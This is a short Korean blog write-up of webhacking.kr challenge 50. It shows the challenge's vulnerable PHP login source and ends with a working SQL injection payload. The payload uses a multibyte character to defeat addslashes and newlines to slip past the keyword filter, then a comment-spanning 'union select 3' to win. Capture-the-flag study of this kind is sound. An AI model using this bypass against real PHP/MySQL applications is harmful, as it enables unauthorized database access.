[ webhacking.kr ] 50번 old
sangjuns
·2022. 1. 26. 15:09
문제 소스
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit> <input type=reset>
</form>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
if(preg_match("/union/i",$_GET['id'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
if($result['lv']==1) echo("level : 1<br><br>");
if($result['lv']==2) echo("level : 2<br><br>");
}
if($result['lv']=="3") solve(50);
if(!$result) echo("Wrong");
}
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>
문제 풀이
- id='/*
- pw=*/ union select 3#'
-?id=%a1%27%2F%2A&pw=%2A%2Funion%0aselect%0a3%23%a1%27
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